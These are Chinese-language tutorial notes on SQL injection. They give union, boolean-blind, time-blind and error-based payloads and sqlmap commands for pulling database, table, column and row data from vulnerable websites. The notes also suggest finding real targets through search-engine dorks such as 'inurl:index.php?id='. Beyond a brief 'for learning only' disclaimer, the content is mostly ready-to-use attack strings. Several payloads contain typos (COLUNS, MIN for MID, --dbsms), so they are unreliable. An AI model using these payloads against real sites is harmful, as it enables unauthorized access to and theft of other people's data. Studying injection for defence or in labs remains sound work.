SQL-INJECTION
仅用于学习与交流,请不要拿来做违法的事情。
这是以我的笔记来写的,更新中……
建议浏览器安装的插件:
Hackbar, HTTP header Live ,Omnibug , Tamper Data
在百度中搜索inurl:index.php?id= 等等的网站可能有SQL漏洞
开始之前要知道以下内容:
查找命令:
1 | SHOW dtatbases; #列出数据库列表 |
填充语句:
SQL语句,[字段数],[字段数2],…… //查到几个写几个
SQL注释:
1 | '#' |
多行数据变一行的查看命令:
1 | # Limit 0,1,….. //慢一点 |
查询字段 order by [num]:
1 | Select * from XXXX order by [num] |
UNM = 自然数 1-9 等
在用户名输入order by [1 - X]可查询有几个字段
如果报错说明没有,如果没有报错说明有
截取字符
1 | Select MID ('[被截取字符]',[从第几位截取],[截多少位]); |
转成ASCII
1 | Select ORD('[被转字符]'); |
判断语句
1 | Select If([要判断的语句] ,[如果成立要执行的语句],[如果不成立要执行的语句] ) |
休眠
1 | Select Sleep(秒); |
Union拼接语句:
union可将两条SQL语句同时执行
1 | Select * from XXXXX where user = '-1' union select database(), 1 # ' |
布尔盲注:
类似于-枚举
依靠猜字母来判断名称
最好写个脚本
猜到字符会有会有类似于"you are in……"的反馈。
时间盲注:
与布尔盲注类似,都是依靠猜字母来判断名称
猜到网页sleep(1)后刷新,猜错网页快速刷新
报错注入:
利用XML节点的语法报错信息进行注入
处理XML以外还有很多可以语句可以使用
ExtractValue 和 updatexml 用法基本一样例如:
1 | Select extractValue('',concat('~',database())); 和 Select updatexml('',concat('~',database())); |
0x7e 是波浪号,这样可以区分一次性多拿取数据的位置。
1 | ?id=1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1) --+ |
闭合:
将SQL语句进行闭合
1 | '' |
SQLMAP基础使用
常用命令:
1 | sqlmap -u ["URL"] |
risk为风险系数,level为攻击等级 //慎重修改
大致过程
- 如何判断是否可以注入
- 如何判断是什么数据库
- 获取库名
- 获取表名
- 获取列名
- 获取数据
如何判断是否可以注入
在URL的后面加上?id=1' 或者 ?id=1' and 1=1 输入并回车,
然后输入?id=1’ and 1=2 再回车,查看是否有变化,如果有反馈而且变化一样,则使用时间盲注。
PS: HTTPS⑧行,HTTP彳亍
如何判断是什么数据库
在URL的后面加上?id=1'看报错是否是SQL一类的
或者使用sqlmap等工具,例如:
1 | sqlmap - u [URL] |
获取库名
开始前要查询字段有多少
一般查库:
1 | http://[URL]?id=1' union select database() --+ |
布尔盲注:
1 | ?id=1' and ascii(substr(database(),[左开始第几位],[截多少位-默认1位-]))=[ASCII码32-126] --+ //查询第1—n+1位 |
时间盲注:
1 | ?id=1' and if(ascii(substr(database(),[左开始第几位],[截多少位-默认1位-]))=[ASCII码32-126], sleep(1) ,0) --+ |
报错注入:
1 | ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ //库名查询 |
SQLMAP工具查库:
1 | sqlmap -u ["URL"] --current-db |
获取表名
一般查表:
1 | Select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='库名' --+ |
布尔盲注:
1 | ?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit [第几个表0—n+1],1),[左开始第几位字符],1))=[ASCII码32-126] --+ |
时间盲注:
1 | ?id=1' and if(ascii(substr(select table_name from information_schema.tables where table_schema=database() limit [第几个表0—n+1],1),[左开始第几位字符],1))=[ASCII码32-126], sleep(1) ,0) --+ |
报错注入:
1 | ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+ //查询所有的表 |
SQLMAP工具:
1 | sqlmap -u ["URL"] --level=5 --risk=3 --dbsms=[什么数据库] -D "[库名]" --tables |
获取列名
一般查列:
1 | Select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA='库名' and table_name='表名' --+ |
布尔盲注:
1 | ?id=1' and ascii(substr((select COLUMN_NAME from information_schema.COLUNS where TABLE_SCHEMA='[库名]' and TABLE_NAME='[表名]' limit [第几个列0—n+1],1)[左开始第几位字符],1))=[ASCII码32-126] --+ |
时间盲注:
1 | ?id=1' and if(ascii(substr(select COLUMN_NAME from information_schema.COLUNS where TABLE_SCHEMA='[库名]' and TABLE_NAME='[表名]' limit [第几个列0—n+1],1)[左开始第几位字符],1))=[ASCII码32-126], sleep(1) ,0) --+ |
报错注入:
1 | ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'),0x7e),1) --+ //查询所有的列 |
SQLMAP工具:
1 | sqlmap -u ["URL"] --level=5 --risk=3 --dbsms=[什么数据库] -D "[库名]" -T "[表名]" --col //获取某一个库某一个表的所有列名 |
获取数据
一般获取数据:
1 | Select [你查到的列(有几个写几个)] from [表名] |
布尔盲注:
1 | ?id=1' and ORD(MIN((SELECT IFNULL(CAST([列名] AS CHAR),0x20)FROM [库名].[表名] ORDER BY id LIMIT [第几列0—n+1],1),[左开始第几位字符],1))=[ASCII码32-126] --+ |
时间盲注:
1 | ?id=1' and if(ORD(MIN((SELECT IFNULL(CAST([列名] AS CHAR),0x20)FROM [库名].[表名] ORDER BY id LIMIT [第几列0—n+1],1),[左开始第几位字符],1))=[ASCII码32-126], sleep(1) ,0) --+ |
报错注入:
1 | ?id=1' and updatexml(1,concat(0x7e,(Select [你查到的列的其中一个] from [表名]),0x7e),1) --+ //查询数据 |
SQLMAP工具:
1 | sqlmap -u ["URL"] --level=5 --risk=3 --dbsms=[什么数据库] -D "[库名]" -T "[表名]" -C "[列名1],[列名2]" --dump |